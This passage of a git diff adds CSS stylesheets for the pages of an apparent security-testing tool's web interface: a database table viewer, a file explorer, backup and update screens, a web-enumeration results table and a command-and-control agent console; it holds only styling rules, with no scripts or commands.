-0,0 +1,369 @@ +/* ========================================================================== + DATABASE + ========================================================================== */ +.db-container { + --db-row-hover: rgba(0, 255, 154, .06); + --db-row-selected: rgba(0, 255, 154, .12); + --db-cell-edited: rgba(24, 240, 255, .18); +} + +.db-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + min-height: 0; +} + +.db-container .db-toolbar, +.db-container .db-actions { + display: flex; + gap: 10px; + margin-bottom: 12px; + align-items: center; + flex-wrap: wrap; + flex-shrink: 0; +} + +.db-container .db-header { + position: sticky; + top: 0; + z-index: 20; + background: var(--grad-topbar); + border: 1px solid var(--c-border); + border-radius: 12px; + padding: 12px; + box-shadow: var(--shadow); + margin-bottom: 12px; +} + +.db-container .sticky-actions { + position: sticky; + bottom: 0; + z-index: 15; + display: flex; + gap: 8px; + justify-content: flex-end; + padding: 8px; + background: linear-gradient(180deg, rgba(0, 0, 0, 0), rgba(0, 0, 0, .4)); + border-top: 1px solid var(--c-border); + border-radius: 12px; + backdrop-filter: blur(4px); +} + +.db-container .db-tree { + display: grid; + gap: 6px; +} + +.db-container .tree-head { + display: flex; + gap: 8px; + align-items: center; + margin-bottom: 8px; + position: sticky; + top: 0; + z-index: 3; + background: var(--grad-card); + padding: 4px 0; +} + +.db-container .db-sidebar-filter { + position: sticky; + top: 30px; + z-index: 2; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 10px; + width: 100%; + color: var(--ink); + font: inherit; + margin-bottom: 8px; +} + +.db-container .tree-search { + display: flex; + gap: 6px; + align-items: center; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 8px; +} + +.db-container .tree-search input { + all: unset; + flex: 1; + color: var(--ink); +} + +.db-container .tree-group { + margin-top: 10px; +} + +.db-container .db-tree-item { + display: flex; + align-items: center; + gap: 8px; + width: 100%; + padding: 8px 10px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel-2); + cursor: pointer; + transition: .18s; + color: var(--ink); + text-align: left; +} + +.db-container .db-tree-item:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); + transform: translateX(2px); +} + +.db-container .db-tree-item.active { + background: linear-gradient(180deg, #0b151c, #091219); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.db-container .db-tree-item-name { + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-title { + display: flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--acid); + letter-spacing: .08em; +} + +.db-container .db-controls { + display: flex; + flex-wrap: wrap; + gap: 8px; + margin-top: 10px; +} + +.db-container .db-search-input { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 0 12px; + min-width: 240px; + flex: 1; + color: var(--ink); + height: 36px; + font: inherit; +} + +.db-container .db-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--acid) 55%, var(--c-border-strong)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 20%, transparent); +} + +.db-container .db-opts { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.db-container .hint { + color: var(--muted); + font-size: 12px; +} + +.db-container .sep { + width: 1px; + height: 24px; + background: var(--c-border); + margin: 0 4px; + opacity: .6; +} + +.db-container .db-wrap { + display: flex; + flex-direction: column; + gap: 12px; + min-height: 0; + flex: 1; +} + +.db-container .db-table-wrap { + position: relative; + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; + max-width: 100%; +} + +.db-container table.db { + width: max-content; + min-width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.db-container .db-table-wrap table.db thead th { + position: sticky; + top: 0; + z-index: 5; + background: var(--c-panel); + border-bottom: 1px solid var(--c-border-strong); + text-align: left; + padding: 10px; + font-weight: 700; + color: var(--acid); + user-select: none; + -webkit-user-select: none; + cursor: pointer; + white-space: nowrap; +} + +.db-container .db tbody td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border-muted); + vertical-align: middle; + background: var(--grad-card); +} + +.db-container .db tbody tr:hover { + background: var(--db-row-hover); +} + +.db-container .db tbody tr.selected { + background: var(--db-row-selected); + outline: 1px solid var(--c-border-hi); +} + +.db-container .cell { + display: block; + min-width: 80px; + max-width: 520px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .cell[contenteditable="true"] { + outline: 0; + border-radius: 6px; + transition: .12s; + padding: 2px 6px; +} + +.db-container .cell[contenteditable="true"]:focus { + background: var(--db-cell-focus); + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.db-container .cell.edited { + background: var(--db-cell-edited); +} + +.db-container .pk { + color: var(--muted); + font-size: 12px; +} + +.db-container .cols-drawer { + display: none; +} + +.db-container .cols-drawer.open { + display: block; +} + +.db-container .db-page { + display: grid; + grid-template-columns: 1fr; +} + +.db-container .sticky-col-cell { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-col-head { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-check, +.db-container .sticky-col-head.sticky-check { + z-index: 4; +} + +.db-container th.is-sticky .sticky-dot::after { + content: "\25CF"; + margin-left: 6px; + font-size: 10px; + color: var(--acid); + opacity: .9; +} + +@keyframes db-blinkChange { + from { + box-shadow: 0 0 0 0 var(--acid-22); + } + + to { + box-shadow: 0 0 0 6px transparent; + } +} + +.db-container .value-changed { + animation: db-blinkChange .66s ease; +} + +@media (max-width:1100px) { + .db-container .db-controls { + gap: 6px; + } + + .db-container .db-search-input { + min-width: 160px; + } + + .db-container .cell { + max-width: 60vw; + } +} + +@media (max-width:768px) { + .db-container .db-search-input { + min-width: 0; + width: 100%; + } + + .db-container .db-toolbar, + .db-container .db-actions { + gap: 4px; + } + + .db-container .db-actions .btn { + padding: 4px 8px; + font-size: 11px; + } + + .db-container .cell { + min-width: 60px; + max-width: 45vw; + } + + .db-container .db-controls { + flex-direction: column; + align-items: stretch; + } +} \ No newline at end of file diff --git a/web/css/pages/files.css b/web/css/pages/files.css new file mode 100644 index 0000000..e59a50c --- /dev/null +++ b/web/css/pages/files.css @@ -0,0 +1,3244 @@ +/* ========================================================================== + FILES EXPLORER + ========================================================================== */ +.files-container .loot-container { + display: flex; + flex-direction: column; + height: calc(100vh - 120px); + padding: 12px; + gap: 12px; +} + +.files-container .file-explorer { + flex: 1; + display: flex; + flex-direction: column; + overflow: hidden; + padding: 10px; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 14px; + backdrop-filter: blur(18px); + box-shadow: var(--_shadow); +} + +.files-container .files-grid { + overflow-y: auto; + display: grid; + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + padding: 8px; + border-radius: 8px; +} + +.files-container .files-list { + overflow-y: auto; + padding: 4px; +} + +.files-container .upload-container { + padding: 10px; + margin-bottom: 10px; + display: flex; + justify-content: center; + align-items: center; +} + +.files-container .drop-zone { + width: 100%; + max-width: 800px; + padding: 16px; + border: 2px dashed var(--_border); + border-radius: 12px; + text-align: center; + font-size: 14px; + color: var(--_muted); + cursor: pointer; + transition: .25s ease; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + backdrop-filter: blur(8px); +} + +.files-container .drop-zone:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .drop-zone.dragover { + border-color: color-mix(in oklab, var(--_acid) 50%, var(--_border)); + background: color-mix(in oklab, var(--_acid) 12%, var(--_panel)); + color: var(--_ink); +} + +.files-container .grid-item, +.files-container .list-item { + border-radius: 10px; + padding: 8px; + cursor: pointer; + transition: .15s ease; + display: flex; + align-items: center; + position: relative; + border: 1px solid transparent; + background: color-mix(in oklab, var(--_panel) 86%, transparent); +} + +.files-container .grid-item { + flex-direction: column; + text-align: center; +} + +.files-container .list-item { + flex-direction: row; + gap: 12px; +} + +.files-container .grid-item:hover, +.files-container .list-item:hover { + transform: translateY(-2px); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 4px 14px rgba(0, 0, 0, .25); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .grid-item img, +.files-container .list-item img { + width: 28px; + height: 28px; + margin-bottom: 4px; +} + +.files-container .list-item img { + margin-bottom: 0; +} + +.files-container .item-name { + color: var(--_ink); + font-size: 14px; + line-height: 1.3; + pointer-events: none; + word-break: break-all; + overflow: hidden; + display: -webkit-box; + -webkit-box-orient: vertical; + -webkit-line-clamp: 2; + line-clamp: 2; +} + +.files-container .list-item .item-name { + -webkit-line-clamp: unset; + line-clamp: unset; + display: block; + white-space: nowrap; + text-overflow: ellipsis; + word-break: normal; +} + +.files-container .grid-item { + justify-content: flex-start; +} + +.files-container .folder .item-name { + color: var(--_ink); + font-weight: 700; +} + +.files-container .item-meta { + font-size: 11px; + color: var(--_muted); + margin-top: 4px; + pointer-events: none; +} + +.files-container .multi-select-mode { + background: color-mix(in oklab, var(--_acid) 6%, transparent); +} + +.files-container .item-selected { + background: color-mix(in oklab, var(--_acid) 18%, var(--_panel)) !important; + border: 2px solid color-mix(in oklab, var(--_acid) 55%, var(--_border)) !important; +} + +.files-container .context-menu { + position: absolute; + z-index: 1000; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 6px 8px; + min-width: 160px; + color: var(--_ink); + box-shadow: var(--_shadow); +} + +.files-container .context-menu>div { + padding: 8px 10px; + border-radius: 8px; + cursor: pointer; +} + +.files-container .context-menu>div:hover { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.files-container .search-container { + position: relative; + margin-bottom: 10px; + display: flex; + align-items: center; +} + +.files-container .search-input { + width: 100%; + padding: 10px 40px 10px 12px; + font-size: 14px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); + box-sizing: border-box; + transition: .2s; +} + +.files-container .search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .search-input::placeholder { + color: color-mix(in oklab, var(--_muted) 70%, transparent); +} + +.files-container .clear-button { + position: absolute; + right: 12px; + background: none; + border: none; + color: color-mix(in oklab, var(--_acid) 55%, var(--_ink)); + font-size: 16px; + cursor: pointer; + display: none; +} + +.files-container .clear-button.show { + display: block; +} + +.files-container .toolbar-buttons { + display: flex; + gap: 8px; + margin-bottom: 10px; + flex-wrap: wrap; +} + +.files-container .action-button { + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 10px; + border-radius: 10px; + cursor: pointer; + font-size: 14px; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + transition: .2s; + backdrop-filter: blur(10px); +} + +.files-container .action-button:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.files-container .action-button.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .action-button.delete { + background: color-mix(in oklab, var(--_acid) 14%, var(--_panel)); + color: var(--_ink); + display: none; + border-color: color-mix(in oklab, var(--_acid) 40%, var(--_border)); +} + +.files-container .action-button.delete.show { + display: flex; +} + +.files-container .modal { + display: block; + position: fixed; + inset: 0; + z-index: 1000; + background: rgba(0, 0, 0, .5); +} + +.files-container .modal-content { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); + margin: 12vh auto; + padding: 20px; + width: min(500px, 92vw); + border: 1px solid var(--_border); + border-radius: 14px; + box-shadow: var(--_shadow); +} + +.files-container .modal-buttons { + margin-top: 18px; + text-align: right; + display: flex; + gap: 8px; + justify-content: flex-end; +} + +.files-container .modal-buttons button { + margin-left: 0; + padding: 8px 14px; + border-radius: 10px; + border: 1px solid var(--_border); + cursor: pointer; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); +} + +.files-container .modal-buttons button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .modal-buttons .primary { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + color: var(--_ink); +} + +.files-container #folder-tree { + border: 1px solid var(--_border); + border-radius: 10px; + padding: 8px; + margin: 10px 0; + max-height: 320px; + overflow-y: auto; + background: color-mix(in oklab, var(--_panel) 92%, transparent); +} + +.files-container .folder-item { + padding: 8px 10px; + cursor: pointer; + display: flex; + align-items: center; + gap: 8px; + border-radius: 8px; +} + +.files-container .folder-item:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .folder-item.selected { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); + outline: 1px solid color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.files-container .folder-item i { + color: var(--_muted); +} + +.files-container .path-navigator { + padding: 8px; + margin-bottom: 8px; + border-radius: 10px; + display: flex; + align-items: center; + gap: 8px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); +} + +.files-container .nav-buttons { + display: flex; + gap: 8px; +} + +.files-container .back-button { + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 12px; + border-radius: 10px; + cursor: pointer; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + min-width: 40px; + min-height: 40px; + justify-content: center; + transition: .2s; +} + +.files-container .back-button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); +} + +.files-container .current-path { + display: flex; + align-items: center; + gap: 6px; + overflow: hidden; + flex-wrap: wrap; +} + +.files-container .path-segment { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + padding: 6px 10px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + border: 1px solid color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .path-segment:hover { + filter: brightness(1.08); +} + +@media (max-width:420px) { + .files-container .loot-container { + height: 80vh; + } + + .files-container .file-explorer { + max-height: 40vh; + } + + .files-container .files-grid { + max-height: 40vh; + } + + .files-container .drop-zone { + padding: 18px; + font-size: 15px; + } + + .files-container .toolbar-buttons { + padding: 4px; + gap: 6px; + } + + .files-container .search-container, + .files-container .path-navigator { + padding: 4px; + } + + .files-container .grid-item { + min-height: 74px; + font-size: 12px; + } + + .files-container .item-name { + font-size: 13px; + margin-top: 2px; + } + + .files-container .item-meta { + font-size: 10px; + margin-top: 2px; + } + + .files-container .grid-item img, + .files-container .list-item img { + width: 28px; + height: 28px; + } +} + +@media (max-width:768px) { + .files-container .files-grid { + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + } + + .files-container #file-list { + max-height: fit-content; + overflow-y: auto; + } + + .files-container .toolbar-buttons { + flex-direction: row; + flex-wrap: wrap; + gap: 8px; + } + + .files-container .files-list { + padding: 8px; + max-height: 50vh; + overflow-y: auto; + } + + .files-container .grid-item { + padding: 8px; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + BACKUP & UPDATE (.page-backup) + ═══════════════════════════════════════════════════════════════════════ */ +.page-backup .main-container { + display: flex; + height: calc(100vh - 60px); + width: 100%; + position: relative; +} + +.page-backup .section-list { + list-style-type: none; + padding: 0; + margin: 0; + flex-grow: 1; +} + +.page-backup .list-item { + display: flex; + align-items: center; + padding: 12px; + cursor: pointer; + border-radius: var(--radius); + margin-bottom: 12px; + transition: box-shadow .3s, background-color .3s, border-color .3s; + background: var(--grad-card); + border: 1px solid var(--c-border); + box-shadow: var(--shadow); +} + +.page-backup .list-item:hover { + box-shadow: var(--shadow-hover); +} + +.page-backup .list-item.selected { + border: 1px solid #00e764; +} + +.page-backup .list-item img { + margin-right: 10px; +} + +@keyframes bak-spin { + 0% { + transform: rotate(0); + } + + 100% { + transform: rotate(360deg); + } +} + +.page-backup .right-panel { + flex: 1; + display: flex; + flex-direction: column; + padding: 20px; + overflow-y: auto; + box-sizing: border-box; + background-color: #1e1e1e; +} + +.page-backup .content-section { + display: none; +} + +.page-backup .content-section.active { + display: block; +} + +.page-backup form { + margin-top: 20px; +} + +.page-backup form label { + display: block; + margin-bottom: 5px; + color: white; +} + +.page-backup form input[type="text"] { + width: 100%; + padding: 8px; + margin-bottom: 10px; + border: 1px solid #555; + border-radius: 4px; + background-color: #07422f40; + color: #fff; + cursor: text; + pointer-events: auto; +} + +.page-backup form input[type="text"]:focus { + outline: none; + border-color: #007acc; + background-color: #3d3d3d; +} + +.page-backup form input[type="text"]:hover { + border-color: #666; +} + +.page-backup .default-badge { + display: inline-block; + padding: 2px 8px; + margin-left: 8px; + background-color: #007acc; + color: white; + border-radius: 12px; + font-size: .85em; + font-weight: 700; +} + +.page-backup .bj-modal { + display: none; + position: fixed; + z-index: 1000; + inset: 0; + overflow: auto; + background-color: rgba(0, 0, 0, .5); +} + +.page-backup .bj-modal__content { + background-color: #2d2d2d; + margin: 10% auto; + padding: 20px; + border: 1px solid #888; + width: 80%; + max-width: fit-content; + border-radius: 8px; + z-index: 1001; + color: #fff; +} + +.page-backup .bj-modal__close { + color: #aaa; + float: right; + font-size: 28px; + font-weight: 700; + cursor: pointer; +} + +.page-backup .bj-modal__close:hover, +.page-backup .bj-modal__close:focus { + color: #fff; + text-decoration: none; +} + +.page-backup .bj-loading-overlay { + display: none; + position: fixed; + z-index: 1100; + inset: 0; + background-color: rgba(0, 0, 0, .7); + justify-content: center; + align-items: center; +} + +.page-backup .bj-rotating-arrow { + width: 50px; + height: 50px; + border: 5px solid transparent; + border-top: 5px solid #007acc; + border-right: 5px solid #007acc; + border-radius: 50%; + animation: bak-spin 1.5s linear infinite, bak-bjPulse 1.5s ease-in-out infinite; +} + +@keyframes bak-bjPulse { + 0% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, .7); + } + + 70% { + box-shadow: 0 0 0 20px rgba(0, 122, 204, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, 0); + } +} + +.page-backup #bj-update-message { + background-color: #28a745; + color: #fff; + padding: 12px 20px; + border-radius: 25px; + display: inline-block; + margin-bottom: 15px; + box-shadow: 0 4px 6px rgba(0, 0, 0, .1); + font-size: 16px; + max-width: 100%; + word-wrap: break-word; +} + +.page-backup #bj-update-message.fade-in { + animation: bak-fadeIn .5s ease-in-out; +} + +@keyframes bak-fadeIn { + from { + opacity: 0; + transform: translateY(-10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +@media (max-width:768px) { + .page-backup .main-container { + flex-direction: column; + } +} + +@media (min-width:769px) { + .page-backup .menu-icon { + display: none; + } + + .page-backup .side-menu { + transform: translateX(0); + position: relative; + height: 98%; + z-index: 10000; + } +} + +.page-backup .form-control { + cursor: text; + pointer-events: auto; + background-color: #2d2d2d; + color: #ffffff; +} + +.page-backup .backups-table button.loading { + position: relative; + pointer-events: none; + opacity: .6; + background-color: #2d2d2d; + color: #fff; + border: #007acc; +} + +/* ═══════════════════════════════════════════════════════════════════════ + WEB ENUM (.webenum-container) + ═══════════════════════════════════════════════════════════════════════ */ +.webenum-container .container { + max-width: 1400px; + margin: 0 auto; + padding: 16px; +} + +.webenum-container .header.card { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; +} + +.webenum-container .header h1 { + margin: 0; + color: var(--acid); +} + +.webenum-container .controls.card { + display: grid; + gap: 10px; +} + +.webenum-container .controls-row { + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; +} + +.webenum-container .search-box { + flex: 1; + min-width: 230px; + position: relative; +} + +.webenum-container .search-box .input { + width: 100%; + padding-right: 36px; +} + +.webenum-container .search-icon { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + color: var(--acid); +} + +.webenum-container .stats { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); + gap: 10px; + margin: 10px 0 12px; +} + +.webenum-container .stat-card { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px 14px; + box-shadow: var(--shadow); +} + +.webenum-container .stat-value { + font-weight: 700; + color: var(--acid); +} + +.webenum-container .stat-label { + color: var(--muted); +} + +.webenum-container .status-legend.card { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: center; +} + +.webenum-container .results-container.card { + overflow: hidden; +} + +.webenum-container .results-header { + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); + padding-bottom: 8px; + margin-bottom: 8px; +} + +.webenum-container .results-count { + color: var(--accent-2); + font-weight: 600; +} + +.webenum-container .table-container { + overflow: auto; + max-height: calc(100vh - 520px); + min-height: 400px; +} + +.webenum-container table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container th { + position: sticky; + top: 0; + z-index: 1; + background: var(--c-panel-2); + color: var(--acid); + text-align: left; + padding: 10px 12px; + border-bottom: 1px solid var(--c-border); + user-select: none; + cursor: pointer; + font-weight: 700; +} + +.webenum-container td { + padding: 8px 12px; + border-bottom: 1px dashed var(--c-border); +} + +.webenum-container tr { + transition: background .15s ease; +} + +.webenum-container tr:hover { + background: color-mix(in oklab, var(--acid) 8%, transparent); + cursor: pointer; +} + +.webenum-container th.sortable::after { + content: ' \21C5'; + opacity: .5; +} + +.webenum-container th.sort-asc::after { + content: ' \2191'; + color: var(--acid); + opacity: 1; +} + +.webenum-container th.sort-desc::after { + content: ' \2193'; + color: var(--acid); + opacity: 1; +} + +.webenum-container .no-results { + text-align: center; + padding: 40px; + color: var(--muted); + font-style: italic; +} + +.webenum-container .loading { + text-align: center; + padding: 40px; + color: var(--acid); +} + +.webenum-container .host-badge { + background: var(--c-chip-bg); + color: var(--accent-2); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 600; + font-size: .9rem; +} + +.webenum-container .port-badge { + background: var(--c-chip-bg); + color: var(--acid); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 700; + font-size: .9rem; +} + +.webenum-container .url-link { + color: var(--acid-2); + text-decoration: none; + font-size: 1.1rem; + transition: .2s; +} + +.webenum-container .url-link:hover { + color: var(--acid); + transform: scale(1.2); + display: inline-block; +} + +.webenum-container .status { + display: inline-block; + min-width: 60px; + text-align: center; + padding: 5px 10px; + border-radius: 8px; + font-weight: 700; + font-size: .85rem; + border: 1px solid var(--c-border); + transition: .2s; + cursor: default; +} + +.webenum-container .status:hover { + transform: translateY(-1px); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); +} + +.webenum-container .status-2xx { + background: var(--ok); + color: var(--ink-invert); +} + +.webenum-container .status-3xx { + background: var(--warning); + color: var(--ink-invert); +} + +.webenum-container .status-4xx { + background: var(--danger); + color: var(--ink); +} + +.webenum-container .status-5xx { + background: color-mix(in oklab, var(--danger) 65%, var(--lvl-crit-bg) 35%); + color: var(--ink); +} + +.webenum-container .status-unknown { + background: var(--muted-off); + color: var(--ink); +} + +.webenum-container .pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + padding: 10px; + background: var(--c-panel); + border-top: 1px dashed var(--c-border); +} + +.webenum-container .page-btn { + display: inline-flex; + align-items: center; + justify-content: center; + padding: 8px 10px; + border-radius: var(--control-r); + background: var(--c-btn); + border: 1px solid var(--c-border-strong); + color: var(--ink); + cursor: pointer; + box-shadow: var(--shadow); + transition: .18s; +} + +.webenum-container .page-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.webenum-container .page-btn.active { + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.webenum-container .page-btn:disabled { + opacity: .5; + cursor: not-allowed; +} + +.webenum-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--acid) 28%, var(--c-btn)), var(--c-btn)); + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + color: var(--ink); +} + +.webenum-container .webenum-modal-backdrop { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.85); + backdrop-filter: blur(4px); + z-index: 9999; + align-items: center; + justify-content: center; + animation: we-fadeIn 0.2s ease; +} + +.webenum-container .webenum-modal-backdrop.show { + display: flex; +} + +.webenum-container .webenum-modal-content { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5); + width: min(720px, 96vw); + max-height: 86vh; + overflow: auto; + padding: 24px; + position: relative; + animation: we-slideUp 0.3s ease; +} + +.webenum-container .webenum-modal-content h2 { + margin: 0 0 16px; + color: var(--acid); + font-size: 1.5rem; +} + +.webenum-container .webenum-close { + position: absolute; + top: 16px; + right: 16px; + color: var(--muted); + font-size: 28px; + font-weight: 700; + cursor: pointer; + line-height: 1; + transition: .2s; + background: var(--c-btn); + border: 1px solid var(--c-border); + border-radius: 8px; + width: 32px; + height: 32px; + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .webenum-close:hover { + color: var(--acid); + transform: rotate(90deg); +} + +@keyframes we-fadeIn { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} + +@keyframes we-slideUp { + from { + transform: translateY(20px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +@media (max-width:768px) { + .webenum-container .container { + padding: 10px; + } + + .webenum-container .results-header { + flex-direction: column; + gap: 8px; + text-align: center; + } + + .webenum-container th, + .webenum-container td { + padding: 8px 6px; + } +} + +@media (max-width:480px) { + + .webenum-container th, + .webenum-container td { + padding: 6px 4px; + font-size: .85rem; + } + + .webenum-container .status { + font-size: .75rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ZOMBIELAND C2C (.zombieland-container) + ═══════════════════════════════════════════════════════════════════════ */ +.zombieland-container .panel { + background: var(--panel); + border: 1px solid var(--c-border); + border-radius: var(--radius); + box-shadow: var(--shadow); +} + +.zombieland-container .btn-icon { + padding: 8px; + min-width: 36px; + display: inline-flex; + align-items: center; + justify-content: center; +} + +.zombieland-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--accent) 55%, var(--border)); +} + +.zombieland-container .btn-danger { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 20%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--danger) 55%, var(--border)); +} + +.zombieland-container .pill { + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.zombieland-container .pill.online { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); + color: var(--ok); +} + +.zombieland-container .pill.offline { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); + color: var(--danger); +} + +.zombieland-container .pill.idle { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); + color: var(--warning); +} + +.zombieland-container .term { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; +} + +.zombieland-container .console-output { + height: 400px; + overflow-y: auto; + padding: 12px; + font: var(--font-mono); + background: var(--grad-console); + border-radius: 8px; +} + +.zombieland-container .console-line { + margin: 4px 0; + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); +} + +.zombieland-container .console-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .console-type.tx { + background: var(--switch-on-bg); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-type.rx { + background: color-mix(in oklab, var(--accent-2) 18%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-content { + flex: 1; + word-break: break-word; +} + +.zombieland-container .console-content pre { + margin: 0; + white-space: pre-wrap; +} + +.zombieland-container .agent-card { + transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; + cursor: pointer; + position: relative; + border: 1px solid var(--c-border); + border-radius: var(--radius); + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.zombieland-container .agent-card:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.zombieland-container .agent-card.selected { + border-color: color-mix(in oklab, var(--accent) 55%, transparent); + background: var(--grad-chip-selected); +} + +.zombieland-container .os-icon { + width: 24px; + height: 24px; +} + +.zombieland-container .toast.info { + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .toast.warning { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .quick-cmd { + padding: 6px 12px; + background: var(--c-panel); + border: 1px dashed var(--c-border); + border-radius: 